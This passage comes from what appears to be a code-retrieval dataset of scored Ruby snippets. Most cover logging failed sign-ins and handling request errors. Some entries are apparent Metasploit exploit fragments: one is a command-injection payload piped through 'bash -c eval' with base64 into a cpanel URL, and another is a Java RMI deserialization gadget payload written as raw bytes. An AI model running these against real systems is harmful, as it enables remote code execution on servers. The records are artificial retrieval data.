#{Time.now.utc}\"\n end", "title": "" }, { "docid": "47e28800dcb3714ba282e03540924ae4", "score": "0.50515336", "text": "def handle_request_error(exception)\n end", "title": "" }, { "docid": "2371c1101cdd0243aa20280d108ea458", "score": "0.50513947", "text": "def handle_unverified_request\n \tlog_out\n \tsuper\n end", "title": "" }, { "docid": "76f7bbef5b99cddf0f7480f67e8b4a77", "score": "0.5050505", "text": "def rescue_new_record_via_post\n bounce_request_through_sso unless current_user.sso_user?\n end", "title": "" }, { "docid": "2add2156ba78d04b018b29efaec040bd", "score": "0.5045471", "text": "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "2add2156ba78d04b018b29efaec040bd", "score": "0.5045471", "text": "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "2add2156ba78d04b018b29efaec040bd", "score": "0.5045471", "text": "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "243d32ea7bd9f6297d9e5c3c954e620e", "score": "0.5040123", "text": "def track_this_request\n ApiRequest.create(\n user_id: @user.try(:id),\n controller: params[:controller].split('/').last,\n action: params[:action],\n params: params.except(:controller, :action, :format),\n format: params[:format],\n ip: request.remote_ip,\n response_status: response.status\n )\n end", "title": "" }, { "docid": "deae512cce52c2b2cdc7072bf6655cf7", "score": "0.5025428", "text": "def note_failed_signin\n logger.warn \"Security: Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "5238e2c68c8bdff9e72fb0d82b09c1e3", "score": "0.5019978", "text": "def handle_just_fail!(origin_client_id, params)\n raise \"I am failing..... I am failing..... I am failing to the see...\"\n end", "title": "" }, { "docid": "1ff6d96a9d2c9eee6ac79370b27865c4", "score": "0.5019937", "text": "def handle_non_checkid_request\n resp = openid_server.handle_request(openid_request)\n render_openid_response(resp)\n end", "title": "" }, { "docid": "1ff6d96a9d2c9eee6ac79370b27865c4", "score": "0.5019937", "text": "def handle_non_checkid_request\n resp = openid_server.handle_request(openid_request)\n render_openid_response(resp)\n end", "title": "" }, { "docid": "b14e7b4d1d820fe360315bd66c08c30e", "score": "0.501837", "text": "def log_request(request, type, current_user, logger = Gitlab::AuthLogger)\n request_information = {\n message: 'Application_Rate_Limiter_Request',\n env: type,\n remote_ip: request.ip,\n request_method: request.request_method,\n path: request.fullpath\n }\n\n if current_user\n request_information.merge!({\n user_id: current_user.id,\n username: current_user.username\n })\n end\n\n logger.error(request_information)\n end", "title": "" }, { "docid": "5dc1e2caf368d741f7a67ceedd842e42", "score": "0.5006613", "text": "def log_request; end", "title": "" }, { "docid": "64c61bf91d12dc9d9163c13876a44b8e", "score": "0.5006115", "text": "def note_failed_signin\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "64c61bf91d12dc9d9163c13876a44b8e", "score": "0.5006115", "text": "def note_failed_signin\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "64c61bf91d12dc9d9163c13876a44b8e", "score": "0.5006115", "text": "def note_failed_signin\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "e4707d1cf023ff66dbb30f28c6a1a2ec", "score": "0.49905264", "text": "def error(exception, session = nil, params = nil, env = nil, user = nil)\n @exception = exception\n @session = session\n @params = params\n @env = env\n @user = user\n path = (env && env['REQUEST_URI']) ? (\": \" + env['REQUEST_URI']) : \"\"\n exception_name = @exception ? \": #{@exception.class} #{@exception.message}\" : \"\"\n mail(:to => configatron.webmaster_emails, :subject => \"Error#{path}#{exception_name}\")\n end", "title": "" }, { "docid": "fd26af9aef8b9632e22e98829c7902ec", "score": "0.49889028", "text": "def log_additional_data\n request.env[\"exception_notifier.exception_data\"] = { :user => current_user, :account => current_account }\n end", "title": "" }, { "docid": "de5bc711a434325162f30252ad8c21f5", "score": "0.49862868", "text": "def log_request\n Hippo.logger.info \"UserID: #{session['user_id']}, Params: #{request.params}\"\n Hippo.logger.debug JSON.pretty_generate(data) unless Hippo.env.production? or data.nil?\n end", "title": "" }, { "docid": "6dedbc29a19738011769b486d1ea298b", "score": "0.4977928", "text": "def process_request(error_message)\n yield\n rescue ObjectNotFoundException => onfe\n render json: { errors: onfe.message }, status: :not_found\n rescue ActiveRecord::RecordNotFound => rnf\n render json: { errors: rnf.message }, status: :not_found\n rescue StandardError => exc\n @error = exc\n Rails.logger.error(\"Error: #{exc.message}\\n#{exc.backtrace.join(\"\\n\")}\")\n render json: { errors: error_message }, status: :internal_server_error\n end", "title": "" }, { "docid": "eff5eb5c775713b5620f2620ba96721f", "score": "0.49778944", "text": "def fatal_error_on_video(user)\n @user = user\n \n mail( :to => @user.email,\n :subject => \"There was an error processing your video\")\n end", "title": "" }, { "docid": "7aab4c97cea246e85f404a16d38e6325", "score": "0.49761444", "text": "def exception_notification(error, params=nil)\n params.delete(:password) if params\n @params = params\n @error = error\n mail({\n :subject => \"DocumentCloud exception (#{Rails.env}:#{`hostname`.chomp}): #{error.class.name}\",\n :from => NO_REPLY,\n :to => EXCEPTIONS\n })\n end", "title": "" }, { "docid": "2f3c36ca6277151a63cab9d2b78f9e80", "score": "0.49730644", "text": "def error(user)\n @user = user # Instance variable => available in view\n\n mail(to: @user.email, subject: 'An error occoured')\n end", "title": "" }, { "docid": "0a48d6a822a94c59d1433a52aa08578b", "score": "0.49724084", "text": "def handle_unverified_request\n\n ApplicationMailer.notify(\n body: 'Invalid Authenticity Token Exception',\n data: {\n controller: params[:controller],\n action: params[:action],\n authenticity_token: params[:authenticity_token],\n http_user_agent: http_user_agent,\n request_time: Time.now,\n page_loaded_at: params[:page_loaded_at]\n },\n subject: 'InvalidAuthenticityToken'\n ).deliver\n\n r = Result::Base.error(\n {\n error: 'invalid_authenticity_token',\n error_message: 'Session has expired. Please refresh your page.',\n error_data: {},\n error_action: GlobalConstant::ErrorAction.default,\n error_display_text: 'Session has expired. Please refresh your page.',\n data: {}\n }\n )\n render_api_response(r)\n end", "title": "" }, { "docid": "992bbfbb469ff193c227d8016064308b", "score": "0.4965616", "text": "def send_missing_account_error\n I3.server.send_error(\n :status => \"404 Not Found\",\n :title => \"Account Not Found\",\n :message => \"The specified account name could not be found.\")\n end", "title": "" }, { "docid": "d8aa4ea13d57a0448335f36d1b586a41", "score": "0.49568453", "text": "def note_failed_signin\r\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\r\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\r\n end", "title": "" }, { "docid": "d8aa4ea13d57a0448335f36d1b586a41", "score": "0.49568453", "text": "def note_failed_signin\r\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\r\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\r\n end", "title": "" }, { "docid": "c78eabb0abbedb8285d01531de548eca", "score": "0.49541572", "text": "def user_params\n params.permit(:email, :entry_id)\n end", "title": "" }, { "docid": "bd427b4657bf6330978fb9263fd93d6b", "score": "0.49486193", "text": "def error_handler(err, res = nil)\n case err\n when 'Bad Request'\n puts res.body\n raise 'The request was malformed. Did you check the API docs?'\n when 'Unauthorized'\n raise 'Access denied: Try using the correct credentials.'\n when 'Corrupted token'\n raise 'It appears that the access token has been corrupted'\n else\n raise err\n end\n end", "title": "" }, { "docid": "391b149a433dad73e4d168a832d5d0b0", "score": "0.49460337", "text": "def bad_request(opts)\n flow_halt BAD_REQUEST, opts\n end", "title": "" }, { "docid": "ed83f9d02869296de08ae935aa60b97f", "score": "0.49430466", "text": "def twitter_error(user, build=nil)\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end", "title": "" }, { "docid": "5d3b467710d00bbf783a5d95a711791e", "score": "0.49422184", "text": "def bugsnag_user_id=(_arg0); end", "title": "" }, { "docid": "5b633b506a77a5fa1f9541d72b0dfe8d", "score": "0.49415", "text": "def note_failed_signin\n flash[:notice] = \"No pudiste ingresar como '#{params[:login]}'\"\n logger.warn \"Ingreso incorrecto para '#{params[:login]}' desde #{request.remote_ip} el dia #{Time.now.utc}\"\n end", "title": "" }, { "docid": "14f77a698547845ccc1fd404be554e66", "score": "0.49258053", "text": "def call(&_block)\n begin\n yield\n rescue StandardError, GRPC::BadStatus => e\n if error?(e) # only capture\n ::Sentry.configure_scope do |scope|\n scope.set_transaction_name(request.service_key)\n scope.set_tags(grpc_method: request.method_key,\n grpc_request_class: request.request_class.name,\n grpc_service_key: request.service_key,\n grpc_error_code: code_for(e),\n grpc_error_class: e.class.name)\n end\n ::Sentry.capture_exception(e)\n end\n raise # passthrough\n end\n end", "title": "" }, { "docid": "4d6e3d0a0ba7fd63178a4c1d56543dca", "score": "0.49245223", "text": "def note_failed_signin\n flash[:error] = \"Couldn't sign you in as '#{params[:user_session][:username]}'\"\n logger.warn \"Failed login for '#{params[:user_session][:username]}' from\" + \n \" #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "3ac5b4e25002441e9928474cafe1284e", "score": "0.4924009", "text": "def invalid_request(_obj, code, message = nil)\n PuppetDebugServer.log_message(:error, \"error #{code}: #{message}\")\n end", "title": "" }, { "docid": "abedf86a2122d3acb157d30427c4f330", "score": "0.49199027", "text": "def user_not_found\n render_error :user_not_found, 404, \"User not found.\"\n end", "title": "" }, { "docid": "9df5307662e55319ed4aedb716713d84", "score": "0.49172324", "text": "def error_404(exception)\n exception_log = ExceptionLog.new(exception_attributes(exception))\n exception_log.user = current_user if current_user.present?\n exception_log.save\n ExceptionMailer.notify_exception(exception_log , exception).deliver\n render :template => 'errors/error_404', :layout => 'error', :status => 404\n end", "title": "" }, { "docid": "958f5fa9d56a2436971476bd07d087cb", "score": "0.49171457", "text": "def note_failed_signin\n # flash[:error] = I18n.t(:\"session.login.error\") \n # logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "c247edef9356b48ab7add051ff62f544", "score": "0.49085268", "text": "def validate_request_url\n # access_denied \"Invalid remote request.\"\n end", "title": "" }, { "docid": "eb50c498b49a15ec2e8c9d755ee8b94e", "score": "0.49068266", "text": "def note_failed_signin\r\n flash.now[:error] = \"Couldn't log you in as '#{params[:login]}'\"\r\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\r\n end", "title": "" }, { "docid": "5c0a4b5c703e85c9744c4432e9504a50", "score": "0.4896847", "text": "def handle_error e\n logger.error e\n error_uri = URI.parse ENV['ERROR_URL']\n error_query = URI.decode_www_form(String(error_uri.query)) << ['error', e.message]\n error_uri.query = URI.encode_www_form(error_query)\n redirect error_uri.to_s\nend", "title": "" }, { "docid": "9ae8923a7607c6690f45da541efa0955", "score": "0.48943624", "text": "def check_bad_request(path_info); end", "title": "" }, { "docid": "9ae8923a7607c6690f45da541efa0955", "score": "0.48943624", "text": "def check_bad_request(path_info); end", "title": "" }, { "docid": "9ae8923a7607c6690f45da541efa0955", "score": "0.48943624", "text": "def check_bad_request(path_info); end", "title": "" }, { "docid": "3d6691419038540a4b83024e6f3908aa", "score": "0.48926756", "text": "def bad_request_response(env); end", "title": "" }, { "docid": "2c9e42d171a08132839f6d1646a046f2", "score": "0.48872328", "text": "def handle_bad_request_error(error)\n render_error :bad_request, error.message\n end", "title": "" }, { "docid": "21e4c77e9c4f0305515be9356be0ae30", "score": "0.48835352", "text": "def shortened(user, url)\n @url = url\n\n mail to: user.email\n end", "title": "" }, { "docid": "458642f5923a1333c934adeb0c878e15", "score": "0.48813498", "text": "def url_tampered\n @userId = UserService.find_user session[:user]\n end", "title": "" }, { "docid": "45daf5b74662a52280e825b3c3df6b6f", "score": "0.48782608", "text": "def note_failed_signin\n login = params[:login][:email] rescue \"blank\"\n flash[:error] = \"Couldn't log you in as '#{login}'\"\n logger.warn \"Failed login for '#{login}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "1d95922bce7e2fa49e6890bf92027626", "score": "0.48681715", "text": "def log_error_uri(request)\n logger.warn \"[#{Time.now.to_s}] Bad Request URI: #{request.request_uri}\"\n end", "title": "" }, { "docid": "dc2b3b8b338bd7d041d65dddc8ba039d", "score": "0.48598745", "text": "def note_failed_signin(user)\n if user.nil?\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n else\n flash[:error] = \"Your account has been suspended. This may be because you haven't paid your membership fee for this year, nor indicated to the BathLARP committee that you wish to continue your membership. Please e-mail the committee if you wish to do this, or if you believe that your account has been suspended in error.\"\n logger.warn \"Attempted login by suspended user '{#{params[:login]}' at #{Time.now.utc}\"\n end\n end", "title": "" }, { "docid": "38558b540baffa310c86aa6849568084", "score": "0.48572248", "text": "def exception_alerts( context, feature, user_id, options={} )\n # setup\n twitt_msg = \"[#{Mole.application}:EXCEPTION] #{@host}:#{user_id} -- #{options[:boom]} -- #{context.class}##{options[:feature]}\"\n @twitter.status( :post, twitt_msg )\n end", "title": "" }, { "docid": "0e0ddc1237f95916d8984664cf8b2c86", "score": "0.4847106", "text": "def call(params)\n log_email(params[:logger], \"REQUEST\", params[:request])\n end", "title": "" }, { "docid": "456f1e660d31c4390a22dc67d668b5d6", "score": "0.48403525", "text": "def on_request_uri(cli, req)\n\t\tsend_response(cli, %Q{alert('#{datastore['AlertMessage']}');})\n\tend", "title": "" }, { "docid": "e9be7ea2c5d00b53766734c02cc3c90c", "score": "0.4837609", "text": "def handle_error(user_kyc_whitelist_log, error_type, error_data)\n notify_devs({transaction_hash: @transaction_hash, user_id: @user_id}, error_type)\n UserActivityLogJob.new().perform({\n client_id: @client_id,\n user_id: @user.id,\n action: GlobalConstant::UserActivityLog.kyc_whitelist_attention_needed,\n action_timestamp: Time.now.to_i,\n extra_data: {\n error_type: error_type,\n user_kyc_whitelist_log_id: user_kyc_whitelist_log.id,\n error_data: error_data\n }\n })\n end", "title": "" }, { "docid": "ca760a664164c7a756cc8cc86d0c47d2", "score": "0.48362598", "text": "def record_not_found(e)\n handle_error(e.to_s, 'invalid_request_error', 404)\n\tend", "title": "" }, { "docid": "036901a139354cfe5489897b27e39658", "score": "0.4836156", "text": "def track_json_api_errors(msg); end", "title": "" }, { "docid": "14eeb53a58abca9ed4ec4105884ae9f8", "score": "0.4835911", "text": "def note_failed_signin\n\t\t\tflash[:error] = \"Invalid user name or password\"\n\t\t\tlogger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n\t\tend", "title": "" }, { "docid": "84c442906f64c0ef3ce2c29656a7d559", "score": "0.48233166", "text": "def note_failed_signin\n flash.now[:error] = \"Incorrect email or password\"\n logger.warn \"Failed association owner login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "a3d23c466ce65a9d3ca6b1a9ebb7d785", "score": "0.48191094", "text": "def notify_admin_parse_launch_fail(study, study_file, corresponding_user, ingest_action, error)\n dev_email_config = AdminConfiguration.find_by(config_type: 'QA Dev Email')\n # if QA Dev email is configured, use that over individual admin emails\n if dev_email_config.present?\n emails = [dev_email_config.value]\n else\n emails = User.where(admin: true).map(&:email)\n end\n @user = corresponding_user\n @study = study\n @study_file = study_file\n @error = error\n @action = ingest_action\n title = 'Ingest Pipeline Launch Failure'\n mail(to: emails, subject: '[Single Cell Portal Admin Notification] ' + title)\n end", "title": "" }, { "docid": "7adbd7e139268b1007b4da9e8029b43c", "score": "0.48180574", "text": "def payfail\n # Payment fialed for some reason. The reason for the failure is not given from SIX Saferpay\n logger.debug \"called with request.params: #{request.params.to_s}\"\n flash[:error] = \"Subscription failed! Please try again or call support.\"\n redirect_to edit_user_url(current_user)\n end", "title": "" }, { "docid": "54a23e5fbc67460779ae6f0cd28ebd3f", "score": "0.48176697", "text": "def onthefly_creation_failed(user, auth_source_options = {})\n @user = user\n session[:auth_source_registration] = auth_source_options unless auth_source_options.empty?\n render :action => 'register'\n end", "title": "" } ]
11293fd83bb5ed11d4f61b4fc8665cb0
Request a remote server's `exec.php` script version.
[ { "docid": "51aa7c29cd517bb5927f413e799f44f0", "score": "0.0", "text": "def version\n script = ScriptBatch.new { |s| s << 'echo EXECPHP_VERSION;' }\n version = exec(script).body\n version if version =~ /^\\d\\.\\d\\.\\d(?:\\.\\w+)?$/\n end", "title": "" } ]
[ { "docid": "ef9616a5c8c72b3f2b1cbed806e46f9c", "score": "0.624517", "text": "def exec\n path = File.join(options[:bin_path], 'request')\n `#{path} #{parse_params}` || ''\n end", "title": "" }, { "docid": "710058159ff8d82fdf2567f9818b7968", "score": "0.59050244", "text": "def receive_exec\n trace :info, \"EXEC\"\n resp = send_command(PROTO_EXEC)\n\n # decode the response\n command, tot, num = resp.unpack('I3')\n\n if command == PROTO_OK then\n trace :info, \"EXEC : #{num} are available\"\n list = resp.slice(12, resp.length)\n # print the list of downloads\n list.unpascalize_ary.each do |command|\n trace :info, \"EXEC -- [#{command}]\"\n end\n else\n trace :info, \"EXEC -- No downloads for me\"\n end\n end", "title": "" }, { "docid": "560d4cd842d6e932064c11b9cec8ea69", "score": "0.5838368", "text": "def exec\n read_params['exec']\n end", "title": "" }, { "docid": "38d68b6cdd55e65255373f908e8f67cb", "score": "0.5753243", "text": "def command_exec(peer, session, message)\n trace :info, \"[#{peer}][#{session[:cookie]}] Exec request\"\n\n # the exec list was already retrieved (if any) during the ident phase\n # here we get just the content (locally) without asking again to the db\n commands = DB.instance.new_exec session[:bid]\n\n # send the response\n if commands.empty?\n trace :info, \"[#{peer}][#{session[:cookie]}] NO exec\"\n response = [PROTO_NO].pack('I')\n else\n response = [PROTO_OK].pack('I')\n list = \"\"\n # create the list of patterns to download\n commands.each do |dow|\n trace :info, \"[#{peer}][#{session[:cookie]}] #{dow}\"\n list += dow.pascalize\n end\n response += [list.length + 4].pack('I') + [commands.size].pack('I') + list\n trace :info, \"[#{peer}][#{session[:cookie]}] #{commands.size} exec requests sent\"\n end\n\n return response\n end", "title": "" }, { "docid": "576fb044454ca3e759b718115c9432b6", "score": "0.5698866", "text": "def execute_command()\r\n\r\n encoded = Rex::Text.encode_base64(\"#{payload.encoded}\")\r\n params = \"||%20bash%20-c%20\\\"eval%20`echo%20-n%20\" + encoded + \"%20|%20base64%20--decode`\\\"\"\r\n uri = target_uri.path\r\n\r\n send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),\r\n 'headers' => {\r\n 'User-Agent' => 'Mozilla/5.0',\r\n 'Accept-Encoding' => 'identity',\r\n 'Cookie' => @cookie\r\n }\r\n })\r\n end", "title": "" }, { "docid": "cae099c1262897b746e1889165ba79ab", "score": "0.5660791", "text": "def script\n ensure_client && ensure_uri\n response = @client.rest_get(@data['uri'] + '/script', @api_version)\n @client.response_handler(response)\n end", "title": "" }, { "docid": "ffc6ba78d29b4187b9d343108e8a2501", "score": "0.5651668", "text": "def execute_remote( cmd )\n\t\treturn `ssh -l root -i config/templates/soekris.dsa #{ip} \"#{cmd}\"`;\n\tend", "title": "" }, { "docid": "09e5f809f99353cd1092f49d061bdcb5", "score": "0.56395", "text": "def exec\n send_command([:exec])\n end", "title": "" }, { "docid": "e4543d311ae1cc0ea970fe5a2e6604e6", "score": "0.5630522", "text": "def check_version_of(host)\n check_version_cmd = %Q(\n curl http://localhost:9900/server_info.txt -s | grep build_revision | sed -e \"s/build_revision: //\"\n )\n ver = %x(ssh #{host} '#{check_version_cmd}')\nend", "title": "" }, { "docid": "6db90913e7b9f79185af009df8ec3a22", "score": "0.55116427", "text": "def remote_exec(cmd)\n rsp = ''\n Timeout.timeout(300) do\n ssh = ssh_client\n ssh.exec!(cmd) do |_, _, line|\n rsp += line\n end\n ssh.close\n end\n rsp\n rescue Timeout::Error\n raise SSHError, 'SSH Timeout'\n end", "title": "" }, { "docid": "6db90913e7b9f79185af009df8ec3a22", "score": "0.55116427", "text": "def remote_exec(cmd)\n rsp = ''\n Timeout.timeout(300) do\n ssh = ssh_client\n ssh.exec!(cmd) do |_, _, line|\n rsp += line\n end\n ssh.close\n end\n rsp\n rescue Timeout::Error\n raise SSHError, 'SSH Timeout'\n end", "title": "" }, { "docid": "d5a9d83e3f0ef617e5ed33521b16fa34", "score": "0.5485594", "text": "def exec\n @status = Net::HTTP.get_response(@host).code.to_i\n rescue StandardError\n @status = 0\n ensure\n @state = (200..399).cover?(@status)\n end", "title": "" }, { "docid": "40beb8dafae21b3b9defd410f3979aca", "score": "0.5468278", "text": "def remote_executable\n @remote_executable ||= DEFAULT_EXECUTABLE\n end", "title": "" }, { "docid": "23ae7e1a9221db5b797831cf0bcaba68", "score": "0.5467471", "text": "def script\n ensure_client && ensure_uri\n response = @client.rest_get(@data['uri'] + '/script', {}, @api_version)\n @client.response_handler(response)\n end", "title": "" }, { "docid": "ba673f906821bfd78fd9e13a38d4d50c", "score": "0.5448445", "text": "def get_executable_info\n if not (@servers.empty? and @array_names.empty?)\n @executable = detect_right_script(@server_template, @script)\n puts \"Using SSH command: \\\"#{@ssh}\\\"\" if @action == :action_ssh\n end\n end", "title": "" }, { "docid": "6ce06e276f93a3b9d64e096ce5c2edbe", "score": "0.5446448", "text": "def get_remote_file( remote_url, host_directory = '' )\n commands = ['enable', \"copy #{remote_url} extension:\"]\n command = commands.join(\"\\n\")\n execute(\"Cli -c '#{command}'\")\n end", "title": "" }, { "docid": "3b3364c47aa2d217f5dd4d0820cccc6a", "score": "0.54215425", "text": "def exec_command(cmd)\r\n vprint_status(\"#{peer} - Downloading the file #{cmd}\")\r\n\r\n # Do the exploit command bit\r\n data1 = \"\\x4a\\x52\\x4d\\x49\\x00\\x02\\x4b\"\r\n data2 = \"\\x00\\x09\\x31\\x32\\x37\\x2E\\x30\\x2E\\x31\\x2E\\x31\\x00\\x00\\x00\\x00\\x50\\xAC\\xED\\x00\\x05\\x77\\x22\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x44\\x15\\x4D\\xC9\\xD4\\xE6\\x3B\\xDF\\x74\\x00\\x05\\x70\\x77\\x6E\\x65\\x64\\x73\\x7D\\x00\\x00\\x00\\x01\\x00\\x0F\\x6A\\x61\\x76\\x61\\x2E\\x72\\x6D\\x69\\x2E\\x52\\x65\\x6D\\x6F\\x74\\x65\\x70\\x78\\x72\\x00\\x17\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x72\\x65\\x66\\x6C\\x65\\x63\\x74\\x2E\\x50\\x72\\x6F\\x78\\x79\\xE1\\x27\\xDA\\x20\\xCC\\x10\\x43\\xCB\\x02\\x00\\x01\\x4C\\x00\\x01\\x68\\x74\\x00\\x25\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x72\\x65\\x66\\x6C\\x65\\x63\\x74\\x2F\\x49\\x6E\\x76\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x3B\\x70\\x78\\x70\\x73\\x72\\x00\\x32\\x73\\x75\\x6E\\x2E\\x72\\x65\\x66\\x6C\\x65\\x63\\x74\\x2E\\x61\\x6E\\x6E\\x6F\\x74\\x61\\x74\\x69\\x6F\\x6E\\x2E\\x41\\x6E\\x6E\\x6F\\x74\\x61\\x74\\x69\\x6F\\x6E\\x49\\x6E\\x76\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x55\\xCA\\xF5\\x0F\\x15\\xCB\\x7E\\xA5\\x02\\x00\\x02\\x4C\\x00\\x0C\\x6D\\x65\\x6D\\x62\\x65\\x72\\x56\\x61\\x6C\\x75\\x65\\x73\\x74\\x00\\x0F\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x75\\x74\\x69\\x6C\\x2F\\x4D\\x61\\x70\\x3B\\x4C\\x00\\x04\\x74\\x79\\x70\\x65\\x74\\x00\\x11\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x43\\x6C\\x61\\x73\\x73\\x3B\\x70\\x78\\x70\\x73\\x72\\x00\\x11\\x6A\\x61\\x76\\x61\\x2E\\x75\\x74\\x69\\x6C\\x2E\\x48\\x61\\x73\\x68\\x4D\\x61\\x70\\x05\\x07\\xDA\\xC1\\xC3\\x16\\x60\\xD1\\x03\\x00\\x02\\x46\\x00\\x0A\\x6C\\x6F\\x61\\x64\\x46\\x61\\x63\\x74\\x6F\\x72\\x49\\x00\\x09\\x74\\x68\\x72\\x65\\x73\\x68\\x6F\\x6C\\x64\\x70\\x78\\x70\\x3F\\x40\\x00\\x00\\x00\\x00\\x00\\x0C\\x77\\x08\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x01\\x71\\x00\\x7E\\x00\\x00\\x73\\x71\\x00\\x7E\\x00\\x05\\x73\\x7D\\x00\\x00\\x00\\x01\\x00\\x0D\\x6A\\x61\\x76\\x61\\x2E\\x75\\x74\\x69\\x6C\\x2E\\x4D\\x61\\x70\\x70\\x78\\x71\\x00\\x7E\\x00\\x02\\x73\\x71\\x00\\x7E\\x00\\x05\\x73\\x72\\x00\\x2A\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x6D\\x61\\x70\\x2E\\x4C\\x61\\x7A\\x79\\x4D\\x61\\x70\\x6E\\xE5\\x94\\x82\\x9E\\x79\\x10\\x94\\x03\\x00\\x01\\x4C\\x00\\x07\\x66\\x61\\x63\\x74\\x6F\\x72\\x79\\x74\\x00\\x2C\\x4C\\x6F\\x72\\x67\\x2F\\x61\\x70\\x61\\x63\\x68\\x65\\x2F\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2F\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2F\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x3B\\x70\\x78\\x70\\x73\\x72\\x00\\x3A\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x66\\x75\\x6E\\x63\\x74\\x6F\\x72\\x73\\x2E\\x43\\x68\\x61\\x69\\x6E\\x65\\x64\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x30\\xC7\\x97\\xEC\\x28\\x7A\\x97\\x04\\x02\\x00\\x01\\x5B\\x00\\x0D\\x69\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x73\\x74\\x00\\x2D\\x5B\\x4C\\x6F\\x72\\x67\\x2F\\x61\\x70\\x61\\x63\\x68\\x65\\x2F\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2F\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2F\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x3B\\x70\\x78\\x70\\x75\\x72\\x00\\x2D\\x5B\\x4C\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x3B\\xBD\\x56\\x2A\\xF1\\xD8\\x34\\x18\\x99\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x05\\x73\\x72\\x00\\x3B\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x66\\x75\\x6E\\x63\\x74\\x6F\\x72\\x73\\x2E\\x43\\x6F\\x6E\\x73\\x74\\x61\\x6E\\x74\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x58\\x76\\x90\\x11\\x41\\x02\\xB1\\x94\\x02\\x00\\x01\\x4C\\x00\\x09\\x69\\x43\\x6F\\x6E\\x73\\x74\\x61\\x6E\\x74\\x74\\x00\\x12\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x4F\\x62\\x6A\\x65\\x63\\x74\\x3B\\x70\\x78\\x70\\x76\\x72\\x00\\x11\\